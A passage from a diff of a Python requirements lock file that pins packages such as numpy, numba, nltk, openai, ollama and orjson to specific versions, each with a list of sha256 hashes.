--hash=sha256:af1b5a92315048c3e36bbebfa7d4760a9c3e910bc4166f11b20d77d20d6bcfca \ + --hash=sha256:b22ff30006a2f28f8bff878fb93413cbe3a4d1fd517c28081d848c90e9cfd2c8 \ + --hash=sha256:b2483da477932ad1983d1d33c18bc3771c6fb00cfbaaed70a875fd547ef8e840 \ + --hash=sha256:b2f0adc22a4eb31e545221d93fc73a0f6a8cc2379d0f4309f71d1d17ba938b82 \ + --hash=sha256:b4c9e5d05b126b267ac048a89a0e2d9b48b1b648add62d4872906304a8590610 \ + --hash=sha256:b4da208a63434d21a3df64d29758e650fc4aa8cb05848554b76949c296539cca \ + --hash=sha256:b5f8771aaaed7f80e84a4e471d2f29ab6721e4595075e54d03ae1ed951b2000a \ + --hash=sha256:b65121091567847a8cb520d364ab22ba90e00d3cc55fa9eb34bb439f0684bcd1 \ + --hash=sha256:b66ccc5c2cdd26e74fa5d4c29ffae424cc6148bf93ce574821783fb3b6d452c5 \ + --hash=sha256:b69651732c64afb691e50cdc3387cae305e0eeff8804fe3e3ce203876494932a \ + --hash=sha256:b828cf64d62dc09ac183f03c1aeedd164ade96a2ce4934109452edf29de1dd13 \ + --hash=sha256:b8a65621b98984a62e59403009591b8a5a7736273aefe1cab64cfb85b365cc07 \ + --hash=sha256:bb0d664505f4b112f384cffeee82e91e3f6448d8e574989479db4439b68cba05 \ + --hash=sha256:bb58ba73a3f96f9a3e46b1fab69929d7edbbddb3133ee74b5c3c54074a53c4f1 \ + --hash=sha256:bc94a68ea5e18f8e85dc6b522bcb53093f692c8eb62b4837ac047da73956cbe4 \ + --hash=sha256:bd82c4977196681a499bb6ca9e462afbc5c91c1c15b6a991dfbd72733fea4dd2 \ + --hash=sha256:c0c88085affd35c33e124e36930c5ad96aff9294ce195eaa0fd9cec962b64a82 \ + --hash=sha256:c148e8b596000dd3e4bfe206e70f3e666be18d72032e0012555f2373c52e35d6 \ + --hash=sha256:c57541034d12b215ab0a2bfa371d1a8a198da18176d0426c27105b9161a6862d \ + --hash=sha256:c9648ed33dc8179e4ec04bbc73bd7f0038e1e81217a69467f61f02a78bf07e88 \ + --hash=sha256:ca65cced0d67a9039e93bcd98a369920e499bf98296844ff56ead01c9085321f \ + --hash=sha256:cf22b43f35b7dbb9f71e8ee2041b5c00029cdfc28ede3a2f31cf8906f9a6c126 \ + --hash=sha256:d35a4f1c63f07fbb8c8f9946dea98b21eddf6c57421585f71d91864be3ba2a24 \ + --hash=sha256:d3b6e6840421c83ccb60398e333b44f910b0907bb409597685ab2eedd1e22eab \ + --hash=sha256:d73fed4e37158ff00cd271871170b79e40138db51e625fd352fa17c6acb34f67 \ + --hash=sha256:d7bf9e43282d69561618e8a0ea33368d532ebef42f15c096f427090521dd74f3 \ + --hash=sha256:d9d6544790ba50438a9c1a903c3c4afb1ec8a7832db5518549275b40ef0dd4b1 \ + --hash=sha256:db4d697b18b6ef5528b1f36bfa25072cd2a421869f5963bc0e92c8a34b9e2800 \ + --hash=sha256:dd9a137a4a9becda3094f3831cd026380f75f6855e051eefe4c73ade524f1cc3 \ + --hash=sha256:de7738b8c0bb74c4cc16bbd7fb49fc2bcf6430dba11b3432cd52768ae40933e8 \ + --hash=sha256:e3b1aa25f01238886a6baed9e13b9a9240ed344346c79ae280ae65e8603b21d5 \ + --hash=sha256:e58952f04772f59f11c6e007471449809a30165188669bca8fdb19dde40a8f24 \ + --hash=sha256:e5ccad4b7bac125722f48d6f862bed3b514d8526deea06316bb72f152cd30a7c \ + --hash=sha256:e7386aa18d98d6b8af44b92173654ec469237fda35f8e8523e43b581a86f476a \ + --hash=sha256:e81ae656b9935ac4528a71f96bb7a14d949778ed1897c573d3e7ebb9187f8841 \ + --hash=sha256:e8f1e362c9352b50ed120f001046fdbb80810c9d56580f4c3fc13bbe30823387 \ + --hash=sha256:e96ca64383efa107262ee3949f047af5ee4f1845ba09463466c04d35a83bd3ec \ + --hash=sha256:ea999ae6e80e66ad5eea287860951b033d0104ca34d6d87c7b5125ebe0e12721 \ + --hash=sha256:ecc89dbd4155b2f8a47f4bbd89242a35ed15e8e0ec581cab5ac65fa38407329d \ + --hash=sha256:ef01d29fca550ab871fd99154f82c6472aacf8e7def272dfb07b460123850390 \ + --hash=sha256:f04551dce5a7db8c9659f2e4245494c182d0663b83661803e08d46bfcae5eda1 \ + --hash=sha256:f0700527dd5bfa8b7204b08330542f4f388899d3c14d885d8a368992e0eb562d \ + --hash=sha256:f2524ec55b3e65cbe235a8b3c36e2af3b635be02ed05e20c94e70c5c943c009e \ + --hash=sha256:f5844e7befc707367807586f550fa97e23dcfef0728f02b98c7bc498a961a5df \ + --hash=sha256:f9dad513626a33670f17cddc6078e30e311f444c957e8dbfc5b2b4603c8b4edb \ + --hash=sha256:fc0dcb22fa9aeabfe3fa4e0430099acff985ec5d77a851382f76cc6146e780e5 \ + --hash=sha256:fd882aa29bf402b62bf1fd7c19fd5df4b6528cf468a908864b39368572b662a9 +murmurhash==1.0.15 \ + --hash=sha256:0861cb11039409eaf46878456b7d985ef17b6b484103a6fc367b2ecec846891d \ + --hash=sha256:1349a7c23f6092e7998ddc5bd28546cc31a595afc61e9fdb3afc423feec3d7ad \ + --hash=sha256:189a8de4d657b5da9efd66601b0636330b08262b3a55431f2379097c986995d0 \ + --hash=sha256:213d710fb6f4ef3bc11abbfad0fa94a75ffb675b7dc158c123471e5de869f9af \ + --hash=sha256:2224f30f7729717644745a6f513ea7662517dfe7b1867cf1588177f64c61df3c \ + --hash=sha256:22aa3ceaedd2e57078b491ed08852d512b84ff4ff9bb2ff3f9bf0eec7f214c9e \ + --hash=sha256:231dc7982e1aeae8bbab21f8f21953e3b9fb0a34e3ffe2d2342ff32e4f07af9d \ + --hash=sha256:263807eca40d08c7b702413e45cca75ecb5883aa337237dc5addb660f1483378 \ + --hash=sha256:2680851af6901dbe66cc4aa7ef8e263de47e6e1b425ae324caa571bdf18f8d58 \ + --hash=sha256:26fd7c7855ac4850ad8737991d7b0e3e501df93ebaf0cf45aa5954303085fdba \ + --hash=sha256:32c6fde7bd7e9407003370a07b5f4addacabe1556ad3dc2cac246b7a2bba3400 \ + --hash=sha256:342277d8d7f712d136507fb3ccdba26c076a34ca0f8d1b96f65f0daa556da2e9 \ + --hash=sha256:34e5a91139c40b10f98d0b297907f5d5267b4b1b2e5dd2eb74a021824f751b98 \ + --hash=sha256:3c69b4d3bcd6233782a78907fe10b9b7a796bdc5d28060cf097d067bec280a5d \ + --hash=sha256:43bf4541892ecd95963fcd307bf1c575fc0fee1682f41c93007adee71ca2bb40 \ + --hash=sha256:43cc6ac3b91ca0f7a5ae9c063ba4d6c26972c97fd7c25280ecc666413e4c5535 \ + --hash=sha256:44d211bcc3ec203c47dac06f48ee871093fcbdffa6652a6cc5ea7180306680a8 \ + --hash=sha256:4a70ca4ae19e600d9be3da64d00710e79dde388a4d162f22078d64844d0ebdda \ + --hash=sha256:4fd8189ee293a09f30f4931408f40c28ccd42d9de4f66595f8814879339378bc \ + --hash=sha256:539d8405885d1d19c005f3a2313b47e8e54b0ee89915eb8dfbb430b194328e6c \ + --hash=sha256:55e1a7f65095f0af141c8a460765e026e35d9ec526f0daa2f88fed29a292b2ff \ + --hash=sha256:5678a3ea4fbf0cbaaca2bed9b445f556f294d5f799c67185d05ffcb221a77faf \ + --hash=sha256:58e2b27b7847f9e2a6edf10b47a8c8dd70a4705f45dccb7bf76aeadacf56ba01 \ + --hash=sha256:5a301decfaccfec70fe55cb01dde2a012c3014a874542eaa7cc73477bb749616 \ + --hash=sha256:5d8b43a7011540dc3c7ce66f2134df9732e2bc3bbb4a35f6458bc755e48bde26 \ + --hash=sha256:66395b1388f7daa5103db92debe06842ae3be4c0749ef6db68b444518666cdcc \ + --hash=sha256:671979f15b24817968ff6fab5e3a468e2b05555bac5e92f11155610a37165ffc \ + --hash=sha256:694fd42a74b7ce257169d14c24aa616aa6cd4ccf8abe50eca0557e08da99d055 \ + --hash=sha256:6cb4e962ec4f928b30c271b2d84e6707eff6d942552765b663743cfa618b294b \ + --hash=sha256:7c4280136b738e85ff76b4bdc4341d0b867ee753e73fd8b6994288080c040d0b \ + --hash=sha256:8155d106c63c5a509ec58c19b0c30804f3a0931bc65cca9826efc53373332536 \ + --hash=sha256:847d712136cb462f0e4bd6229ee2d9eb996d8854eb8312dff3d20c8f5181fda5 \ + --hash=sha256:88dc1dd53b7b37c0df1b8b6bce190c12763014492f0269ff7620dc6027f470f4 \ + --hash=sha256:898a629bf111f1aeba4437e533b5b836c0a9d2dd12d6880a9c75f6ca13e30e22 \ + --hash=sha256:899068ba3d7c371e7edd093852c634cce802fefd9aaddfcc0d2fda1d7433c7f9 \ + --hash=sha256:8a181494b5f03ba831f9a13f2de3aab9ef591e508e57239043d65c5c592f5837 \ + --hash=sha256:95d7c52598dce7a8543e5a5f61a893cbb762a62a907c6c9cd025d5f618bb8522 \ + --hash=sha256:9aba94c5d841e1904cd110e94ceb7f49cfb60a874bbfb27e0373622998fb7c7c \ + --hash=sha256:a2ea4546ba426390beff3cd10db8f0152fdc9072c4f2583ec7d8aa9f3e4ac070 \ + --hash=sha256:a32054edb567417ac81f7172b7dd7731846f25c63084edeb20545fa7abc849d7 \ + --hash=sha256:aadac5fd5f3f465094a5e4ecd00d739a2b870651cad06c8d1005153c2e815fb3 \ + --hash=sha256:b3ba6d05de2613535b5a9227d4ad8ef40a540465f64660d4a8800634ae10e04f \ + --hash=sha256:b65a5c4e7f5d71f7ccac2d2b60bdf7092d7976270878cfec59d5a66a533db823 \ + --hash=sha256:bba0e0262c0d08682b028cb963ac477bd9839029486fa1333fc5c01fb6072749 \ + --hash=sha256:bc54facccb32fe1e97d6231edd4f3e2937467c35658b26aa35bbd6a87ebb7cb0 \ + --hash=sha256:c22e56c6a0b70598a66e456de5272f76088bc623688da84ef403148a6d41851d \ + --hash=sha256:c4cd739a00f5a4602201b74568ddabae46ec304719d9be752fd8f534a9464b5e \ + --hash=sha256:cb8ebafae60d5f892acff533cc599a359954d8c016a829514cb3f6e9ee10f322 \ + --hash=sha256:cc93769619b6b42740cab8eebb587709daaa3d8f813372cc60358a571de20d2d \ + --hash=sha256:d37e3ae44746bca80b1a917c2ea625cf216913564ed43f69d2888e5df97db0cb \ + --hash=sha256:d4d681f474830489e2ec1d912095cfff027fbaf2baa5414c7e9d25b89f0fab68 \ + --hash=sha256:d7e47c5746785db6a43b65fac47b9e63dd71dfbd89a8c92693425b9715e68c6e \ + --hash=sha256:dc35606868a5961cf42e79314ca0bddf5a400ce377b14d83192057928d6252ec \ + --hash=sha256:e43a69496342ce530bdd670264cb7c8f45490b296e4764c837ce577e3c7ebd53 \ + --hash=sha256:e525bbd8e26e6b9ab1b56758a59b16c2fffd73bad2f7b8bf361c16f70ff1d980 \ + --hash=sha256:e8e674f02a99828c8a671ba99cd03299381b2f0744e6f25c29cadfc6151dc724 \ + --hash=sha256:ef19f38c6b858eef83caf710773db98c8f7eb2193b4c324650c74f3d8ba299e0 \ + --hash=sha256:f32307fb9347680bb4fe1cbef6362fb39bd994f1b59abd8c09ca174e44199081 \ + --hash=sha256:f3e99a6ee36ef5372df5f138e3d9c801420776d3641a34a49e5c2555f44edba7 \ + --hash=sha256:f4989c16053a9a83b02c520dd00a31f0877d5fd2ab8a9b6b75ed9eba0e25c489 \ + --hash=sha256:f4ac15a2089dc42e6eb0966622d42d2521590a12c92480aafecf34c085302cca \ + --hash=sha256:f9bf47101354fb1dc4b2e313192566f04ba295c28a37e2f71c692759acc1ba3c \ + --hash=sha256:fa1b70b3cc2801ab44179c65827bbd12009c68b34e9d9ce7125b6a0bd35af63c \ + --hash=sha256:fe50dc70e52786759358fd1471e309b94dddfffb9320d9dfea233c7684c894ba \ + --hash=sha256:fe883982114de576c793fd1cf55945c8ee6453ad4c4785ac1a48f84e74fdc650 +mypy-extensions==1.1.0 \ + --hash=sha256:1be4cccdb0f2482337c4743e60421de3a356cd97508abadd57d47403e94f5505 \ + --hash=sha256:52e68efc3284861e772bbcd66823fde5ae21fd2fdb51c62a211403730b916558 +nest-asyncio==1.6.0 \ + --hash=sha256:6f172d5449aca15afd6c646851f4e31e02c598d553a667e38cafa997cfec55fe \ + --hash=sha256:87af6efd6b5e897c81050477ef65c62e2b2f35d51703cae01aff2905b1852e1c +nh3==0.3.7 \ + --hash=sha256:157ec1eb7a62f3d9a7badb8d82d89aa810e3e24e097eedfa481a25d0c8a99877 \ + --hash=sha256:15f5fbf090f5c88d61c820e1fc1fceecb6520cca9fe85649c06b57ef9dc9ff62 \ + --hash=sha256:18f4278ecd157d43cb35acd5aae9f35cfa79f546b4922bd86536adc0f6312102 \ + --hash=sha256:19f288c938ec6eef1f5d2c6cab47838e71fef8097e1c1233802be5a6230ba086 \ + --hash=sha256:4968fe8d2db97c6f047659bf46a449fd8ec377f44ebf3e0a1b96c0d3a333ae32 \ + --hash=sha256:5ffdfcb9a686ffb12765376bcfb6b5b55728516d3c0ee317d29982381ded3df8 \ + --hash=sha256:614dac4a4c36ad084e78447d16fe898dedd762e354a7ab9cda2984e82f67883d \ + --hash=sha256:618e3059caf41ccdf5dcccb3fa9df4cf6e4efe23d1382a8bbfca272a8a4f8bfc \ + --hash=sha256:6698a822132beedab80f131c08d8d0ac5a178ddeb488d02ca4b67716ecfac7af \ + --hash=sha256:6c3aa50eb26e9228238271db9f983cbc3b006dfbfeca2d4dc34c33ddc6ac5ea5 \ + --hash=sha256:6e4280115d44c3b278eef712a86748c1a723105cd79feec46952383117ab4e59 \ + --hash=sha256:70f5ac8626e899a4bab0ef74ca2f5bd602f49c7b739e6e5026b4afc6d63dac42 \ + --hash=sha256:71860d01c16f4d8c72e334e0674beb2b0899dbd0bf760de18932ef4390303848 \ + --hash=sha256:808def0c8c07843e6e50dc84f532457bfa2cfd17417b219a5d9e7c773709331a \ + --hash=sha256:874b7d67a067bd29a59223f6270fc30da4edd8e6d87fd219fc93bcbaa662c946 \ + --hash=sha256:91a4dab4e94d9fc54b9f67b1adfb23e81fab7ab43f33c3b8c97be9aa38f789ba \ + --hash=sha256:94fd6e59553fbb9ffd8ba71bbd5a54e3126ba01799a097ae30d5341d750bc6ac \ + --hash=sha256:9b7279d43323a25225df23576af6594a16693f61431170848b8b2ac21ad4f174 \ + --hash=sha256:bc42bb1193c1e28a1e74c2cabaca178e118a7103e8832699fef8a2b3e2496493 \ + --hash=sha256:be53a4825585f701955cb9baf49f478f56eb81e20294329fe4bc689dd5dd81fa \ + --hash=sha256:d56e76bd3cadb09b6b0cef364850811663734b348a25f5f587a2819c495367bd \ + --hash=sha256:de2b2aab32ea303405debefdcfc58043d3e635fa3f67b9eb140d2b0e0c0d2563 \ + --hash=sha256:e8fd1ab205258b29254f72db377d99e2c96aa7653ef3b015ccab0420b094b506 \ + --hash=sha256:eae64328e46a25785535afcb6885b6f182ecaf5ee8c88f8c075422db8aacc65b \ + --hash=sha256:f04b7d333b27f13ca439da3cf1c75c2fba34f104969f6ce4ac8e7079699c2f4a \ + --hash=sha256:f266d3f1b3647449923a8e406524632220dd5d8b647078dfe45b885d33d10479 \ + --hash=sha256:fd4a70efb45d5372174f718878eb7a35c12677626a63b2f103b23b833457dcac +nltk==3.10.3 \ + --hash=sha256:bb9327a461c3811c2fa4900e03840401f2126adfb30c0072827c433bd2444ea4 \ + --hash=sha256:ff9598a8e20518ee0d557745890cc4435b9578489e2dcbc69c4f81fa060caf7c +numba==0.67.0 \ + --hash=sha256:00c964a5b94d3ae82d83ac162cd610755875b98dadb779fdde06e6bfcdbca47e \ + --hash=sha256:3fa3d1b27f96f2c0d54513d953d7197886aa1eaa7d2439a0eedc44d993fb181a \ + --hash=sha256:4a2ed006635bbd0fe45681ed49f3b4f4bad1abf0c233bcc5842c9e3a34cabd61 \ + --hash=sha256:4d576e62bf2c9370f61312b51573c4bb1f3fe96798bbab56730847a368a316c4 \ + --hash=sha256:50e2b72406c18cda5dd7431b0082cb85ea94e06c64c33607248fc8bef92cfb81 \ + --hash=sha256:5269245a675abdd3e2c35ec6bb2f250355effa9032514d8f2354f0d2d10854bd \ + --hash=sha256:6004d8d5f28d4028687fb2d972d629295b13685943bd2ed5cd8810c3b848e219 \ + --hash=sha256:694c81c6560b2b47e5fc1dc39c29175b907adf862d9af0af801453400a022a61 \ + --hash=sha256:76d3335aaeffb9dc88309420890e73497a00be08a7530441bc2b58ffe025bfa5 \ + --hash=sha256:77e1c7173fee57a0d84e006c7e70346689d6cb3e7db503489bae58646b4eff7b \ + --hash=sha256:7930748ce8355d2a5a28602abab056a61fdc676d17377f27d17993905428171f \ + --hash=sha256:83ab968b0e0fa744eba03351282dd8000796e6ec8e4518f47bd3ed86c0a20c7b \ + --hash=sha256:88f6e0f5cb6c545e158b6ef0496c01b6d6958a7ccc6634a1576a94bbbab29ff2 \ + --hash=sha256:8c0e88acd4341ddf40779db3c0228b9188aca7fcab5f5f3ce9949a1fc71e9a02 \ + --hash=sha256:8c80c847301dc33dc8f84a97a952004023d9a05578ae4512b087176264cc1960 \ + --hash=sha256:9c4953387c77864b596d8296e2cfbdef82b0eea4166ab4864b05d226c51143e0 \ + --hash=sha256:aa5f002f665bec321b950dacaa26ee009e1d720f6ac9d9856eed5efe1caa03a6 \ + --hash=sha256:b68ad5125fe245339cc8dcc036081fc1ea482c5063387b9612a76ccd83dc91cd \ + --hash=sha256:cd75aa535b33fa05d9d930b1ae8af9f97a2881e96d72dfb38ec9b78284d9f851 \ + --hash=sha256:cfba1ac34f0363fb1a250a10e97240780d11e05227892f7286b26fbfd0ad58ce \ + --hash=sha256:d6c8e9ba3f9602471e8c6f563ffcce8db8046741f0bafb782a052e41dc6b6861 \ + --hash=sha256:e7a7b0121466f1e9a8a074b0545fe90e16389623abf979b5d7c299dca1294d7e \ + --hash=sha256:ed333e0af4386294e7f03e550e01411856b6935e717d859225e0a7338c6b6795 \ + --hash=sha256:f074a8e23db78490f11a3930c940be758316c10ac5985be83d2f298dc080acf7 \ + --hash=sha256:f63d43db06b4756424d6d2484737c902e0ae944a0eec3e8b0b4de2c695b15caa \ + --hash=sha256:f99f880ff25f418a67f9a1d00d0ddfbc63430f627b523e515085a592a7567f4b +numpy==2.4.6 \ + --hash=sha256:001fbb8e08d942dd57599e781f2472269ee7f2755fae407b4f67b2f0b17da3f1 \ + --hash=sha256:0280e0356c0829a18d9de1cb7eee50ec22ca639878d7240307ca0943d73cd2c4 \ + --hash=sha256:043191bfa8eab18c776647b62723ac9dddece59743b13f49b2016094129c2b3f \ + --hash=sha256:06ca2f61ec4385a07a6977c55ba998a4466c123642b4a32694d3128fce18c079 \ + --hash=sha256:0a041d3d761dc3c35cc56ce0351506a02bcbc25f7b169f652435141a17db9096 \ + --hash=sha256:0ab0a9c4ffb1a6d95ef519fe4247dba8eb6b18ad93999f76b7f657039acabd47 \ + --hash=sha256:0c9136e14ed34a9e343a31c533d78a9813a69a3148332bce5e9821cb2f996e66 \ + --hash=sha256:110f8b71aacb688ec69062bb7f6938a0f8acb01b7c1c4beb453c65b6d234584d \ + --hash=sha256:112b06a867b235ef466ed3508ddf0238050df9c727cafb5301ac385b899189a1 \ + --hash=sha256:17f9ade344e7d9b464a084d69bcf18fc691cb1db67c62ed80820bf4926d78f0e \ + --hash=sha256:1e254a00cdf42b1e4d5b3d68d33af63268d41340d8885df2ab6470f2e1500147 \ + --hash=sha256:1e978ec1e8bd0e0e4de6bb75de9d30cbb74db6b6a2bb727618613703ca0167dd \ + --hash=sha256:25c692919ac5a01f170a3bfcd62d745b24fd095c353d50812637d6fcab442e75 \ + --hash=sha256:260a5d70215b61ab4fadf5c7baacd64821842975eea312125ed3c39a6391b063 \ + --hash=sha256:2803abfebfc990042cd494d8ce2d5f82e9d847af6d35ec486923aa19dbad5e73 \ + --hash=sha256:29a287e0cf63ff528da061de6b9f64a4618da591ca1046aafc54062e40ca7eab \ + --hash=sha256:29cb7f67d10b479ff07c17d33e39f78c07f71c40ef30d63c153d340e96cd3fb4 \ + --hash=sha256:3213d622a0283a39a93d188f3cf72b26862df52fbb4ca3697f51705016523d41 \ + --hash=sha256:33111801a01c12a8a1e3721f0a9232f8cfc8ae2c6b7098167e6f623c6073f402 \ + --hash=sha256:357cc07a6d7b0b182ff02249616a03742827ebb1277546b5c7cd7f7620a45698 \ + --hash=sha256:38efbc8de75c7a0fc1ac190162d892787f3f47b57cc291231aafee36b80982b7 \ + --hash=sha256:4081eb135ac24158bd51cdfbef16f1c64df7063b1143f24731387137c092bec8 \ + --hash=sha256:40fdc1ae7125e518ea98e53e69a4ebc27e1fd50510c47b7ea130cf21e5e1d42b \ + --hash=sha256:4cfe66903cc32a9921a6733d96b19bb6abf310397581bbad89c228f5abaf0ee8 \ + --hash=sha256:511dbaf848decaaaf4b4ca48032619fb3138710c4bf7da7617765edad1ef96b0 \ + --hash=sha256:55cced7c52e981362f708ad635198e97a752dfba412cc03c23bbf3bd8d5cd662 \ + --hash=sha256:56b39e5e0622a09a25bf5baf62f4bcf0cb8a41ae6e2819cf49bbc5a74c083f91 \ + --hash=sha256:5dbbdb29840ca3d91ee0fece42fc29278886d908280bfec0a5846c6f901a3eb0 \ + --hash=sha256:5f9fb9157b4ce2971008323afe46053787b526ef624fea915b261468a8421a0f \ + --hash=sha256:6180d8b35af935aed8ece3a85e0a43f87393ae0ac87c8d2c8bd2c993f7270ef3 \ + --hash=sha256:68a5124b13fa6cc2086764a20005d30bc0548146f7f5322f02fce212ca14317f \ + --hash=sha256:68bb27509ac1b9a3443094260f6326150663b06abe40b73a2f81160623da5b67 \ + --hash=sha256:6f41ae150c4e32db4f3310cdaf64b1593a03dbabe29eec77fc9b50fe64061df6 \ + --hash=sha256:7265a2f3d436e54ef9f2b52b5c937e6be778781bd97a590319d7348f1c1ca997 \ + --hash=sha256:72fbe16c6fac95aedf5937fa873445cec2110be35d8a4e9433d7501fd98dae6b \ + --hash=sha256:7d92c3819208a60205a12a245c91ad70cb0a85336659b19b834205573ac8456e \ + --hash=sha256:8155154c7c691289fe18f510b5d4657c68c67989f293f0535a91360392ff6538 \ + --hash=sha256:81a1cca95ed5bb92aa8b10dd2cdc9a0d3853a50fad926c28b5d7e8ea54389627 \ + --hash=sha256:89cd468399cfd2504718f0ba50e410dca55a170b61a02ad92bb18c8a65186e93 \ + --hash=sha256:8ad03c0965fb3c692200e74d458ca28c1dbb4ce96f9a479a8aa041ad5fabca02 \ + --hash=sha256:90f9849678c75fe7afa2d348ac842c168b0a4d3d61919687216dfc547976d853 \ + --hash=sha256:948424b06129ce883307e8cff868c31396d8dc7630a59c61d70d98dbe70f222c \ + --hash=sha256:9cd5ffd25db4e7ba6a375693b3fc0fc1791ec636c17db3720da19bde7180ec43 \ + --hash=sha256:a0df0043bdb289bde1f62da130d20df23d58b45429f752bc7a8fc5325a225ecd \ + --hash=sha256:a2c306dea656c12c68f51f4cea133cbe78ca7435eb28c735eac1d3ebe73be6e8 \ + --hash=sha256:a7830bab239b79cda9c08c2da014761cafb48da6150e1da17ac06283f43b6089 \ + --hash=sha256:a7c711e21628b52034bb5ab8d1bce291f752fcc5e92accc615778acee1ff4778 \ + --hash=sha256:aaf159caa35993cb1f56fb9b8e4610d35758e7ca005412eb1daa856a78c9c4b1 \ + --hash=sha256:ae506e6902902557576a26ff33eda8695e7ecb3cb36c3b573a0765dee114ebdb \ + --hash=sha256:b507f5c4c1d508876d1819b6bf9a49d365b96320b5d4993426b33a23ca4b8261 \ + --hash=sha256:bf162abab1c1a736333192707cef898e735a5ca00f38f27eeedf44b39d9e85eb \ + --hash=sha256:c1a2af6c6ef86344a6b0db6b97834208bf598db514f2b155042439b62605601a \ + --hash=sha256:c2d37ab77531417474168eb79d6d80b14f821a966818505d03013d0833edb7a8 \ + --hash=sha256:c4fc99836233ea196540b17ab0983aff60ed07941751930f5f4d05bc3b3b7359 \ + --hash=sha256:d581b735e177fdcdce6fed8e7e8880a3fb6ee4e3653a3ac6af01c6f4c03effc5 \ + --hash=sha256:d6da64deb6b8ed903e7560180a92f2d804ee1ba5eeb849ac2748b8c1aba1f6d7 \ + --hash=sha256:d8e8286dd7cea7895157318d1b91cdacac64c479f3cbc8dce548331728484751 \ + --hash=sha256:ddea102b48f9e339f3948bf22040944184627a30fdf7f858667673b9c5f033c8 \ + --hash=sha256:dfa20cc6ca228e6b155b11da03825975ce66aea520985dbbddf0f2a5a495c605 \ + --hash=sha256:e3e5193ef5a3dc73bceee50f7fdc2c90dbb76c42df8d8fae3d1067a583df579e \ + --hash=sha256:e3eeb0aabd6bd5ce64faae67e9935203a6991b4bc2a485a767fbafb2c5125f45 \ + --hash=sha256:e5805d5a22fd19c8ccff10a9561f9df94436b0545619ea579db2d3c35294bce2 \ + --hash=sha256:e85b752a1e912b70eaad4fafbd4d1238007ab221de2009b9a2f5ae7461239895 \ + --hash=sha256:eaf7fa2de5c0be8ae6ff8e9bea2ccd725e980541244521d8d4b5f3354a27babe \ + --hash=sha256:ebfb099f8dcf083deef3ac1ca4c1503f387cf76296fcb3816b66f5ecb5f54fdb \ + --hash=sha256:ece3d2cfe132e7d51f44a832b303895e6f2d499c5e74dfbdb06ee246147a304a \ + --hash=sha256:ed9749eef4cbd126da3dc1d6bcb3a57f5eb7ac6a6484146bdbf743f552dfc577 \ + --hash=sha256:ede83e07a75dd06bc501566c1eca2afc0d61677c1472ac9ad93fdee6e638a48d \ + --hash=sha256:ef4aea96ce4d3b074422cb4f2f64e216bf9e213004bb58ecfdf50ea02ea8eb9a \ + --hash=sha256:f3a3570c4a2a16746ac2c31a7c7c7b0c186b95ce902e33db6f28094ed7387dda \ + --hash=sha256:f407cb6b8e9d6d8c626bc73c945db1706035af8fd632295547bf1c9e46d092d6 \ + --hash=sha256:f74a575920ab21fe304421a3fc28793d82e299cae9eccb37084e9fc7f3617c20 +olefile==0.47 \ + --hash=sha256:543c7da2a7adadf21214938bb79c83ea12b473a4b6ee4ad4bf854e7715e13d1f \ + --hash=sha256:599383381a0bf3dfbd932ca0ca6515acd174ed48870cbf7fee123d698c192c1c +ollama==0.6.2 \ + --hash=sha256:3ad7daab28e5a973445c36a73882a3ef698c2ebb00e21e308652741577509f7d \ + --hash=sha256:936d55daa684f474364c098611c933626f8d6c7d67065c5b7ae0c477b508b07f +openai==2.54.0 \ + --hash=sha256:89089789197ccdb87f173a03145ed1598d00795220c93e96cf712b1cbf5e5f2b \ + --hash=sha256:e3e6f8bc1ba30ddf381ace1a14340eed381cb984a1a59bd0f34b5be3b5d49cfa +orjson==3.12.0 \ + --hash=sha256:010811c1b69773450a01cef97727a67b223242f350b77d4ca000e59a9ef2155a \ + --hash=sha256:01efac2074fffb4cb1ea3fab7861e9d0f2a26913854a972f5ac760525dbdaf6e \ + --hash=sha256:03091c8a64db4be38746597ceea68f33c238e27acd9bfe99fb59420224ae7a55 \ + --hash=sha256:08231552159be266a7269555bd9f7c016aee7d9ad6dab06eb58796c5ccb7101c \ + --hash=sha256:0b1ac5bf6609b2716c7954011c5fef6254922df029f45d032ee4ebf5d363cbed \ + --hash=sha256:103b5db66aa53c1f9e88c2524be4f383e831ba7dfd5f9f5af6336a177c622f11 \ + --hash=sha256:1192a7021b6d071aaf909864f6e924d6a2675ca360485b972b8401749311750b \ + --hash=sha256:11edb4660a6680abee9788a3a9072208a2c96538cc1322bd79542065229d8e54 \ + --hash=sha256:18a87929f31d94a77f7dc93cf527e91f39ce7fe7813d588a4de2507efd32a387 \ + --hash=sha256:1c680706fc8396d95e7c4c1f9482563f552137aef91b57237a3ad5aaf64629df \ + --hash=sha256:2b7bcefb9f40fa242fa6b06377232c048e655747790829609168c01162f60578 \ + --hash=sha256:2bb3ce43203936072dd8b4917b01d3aecfc02329bfb42510cb7cfb24708adc9c \ + --hash=sha256:2d3a9da945a4d96ae758fdaaca56742e6b73b6fd554c5d8876f252a6dad70b83 \ + --hash=sha256:2eb5c56e534127b2b8fa38d2363c8b1b8190367ee0d1d16c041517d880843b94 \ + --hash=sha256:31ed278a36304390adc3eec5d7f6fd593a7c3e99e5a06cd07866396c4b1b4710 \ + --hash=sha256:33efefcf5d88eaf400b47e2eba02f91f319bb9951be61ca500b7d536d3f2079d \ + --hash=sha256:3bb17a06f9bd15237b3216c044209fe92597379124018cfc196fbb846cde64df \ + --hash=sha256:3dbce9b6b3074b31a5d5dd322a9c4e5b16f206091ece4194c2e36952847a105e \ + --hash=sha256:40f92192227505acca4e2533ce565f8e6b9535f7d0d09b0968452f18b7376b38 \ + --hash=sha256:477ecaf6b9f88f873341b91fcc736119ca81b5e002a9f7f308ff5b4f2ce2a70e \ + --hash=sha256:50fae885cb073eac7556353ff3df93312b0d5137b0a5056b2bb63f97ed9a93c7 \ + --hash=sha256:532ff8cd4bd59a327a953a7dcde922c7fc25b85e29721bb8633265430d3a3873 \ + --hash=sha256:53c0c474a9d9aff9aebfc0c88de1f28f843d940e6e3a80729abdf6a20274356f \ + --hash=sha256:58c58e1de0006ffb580368d6793c36c7b0b021db066479cf281bf5061e732328 \ + --hash=sha256:5a0fdbc216388f653d3752ff310e710f59253bd4ed6a2bfb3f4f06b84714bbd8 \ + --hash=sha256:61318b6de893c7a9d9f3e5ecbadccbfc26a7eb417ccc7bbf0771de3b4d72f868 \ + --hash=sha256:644d005bc82f917337a95ce270c9f6f92f9834c2bed7b1477572f8db00784222 \ + --hash=sha256:6a2a79c89984dc719817d388c8709e0efc2a2795a934eaa746b4882eb6045adc \ + --hash=sha256:6a31348d7dfa64cd9c78bd1f510ff44c48fe64d71094e6b90e364dba3b55949e \ + --hash=sha256:747843254519dd43b93eee3153a19e5a509334320c4d2f823ec879232db5c796 \ + 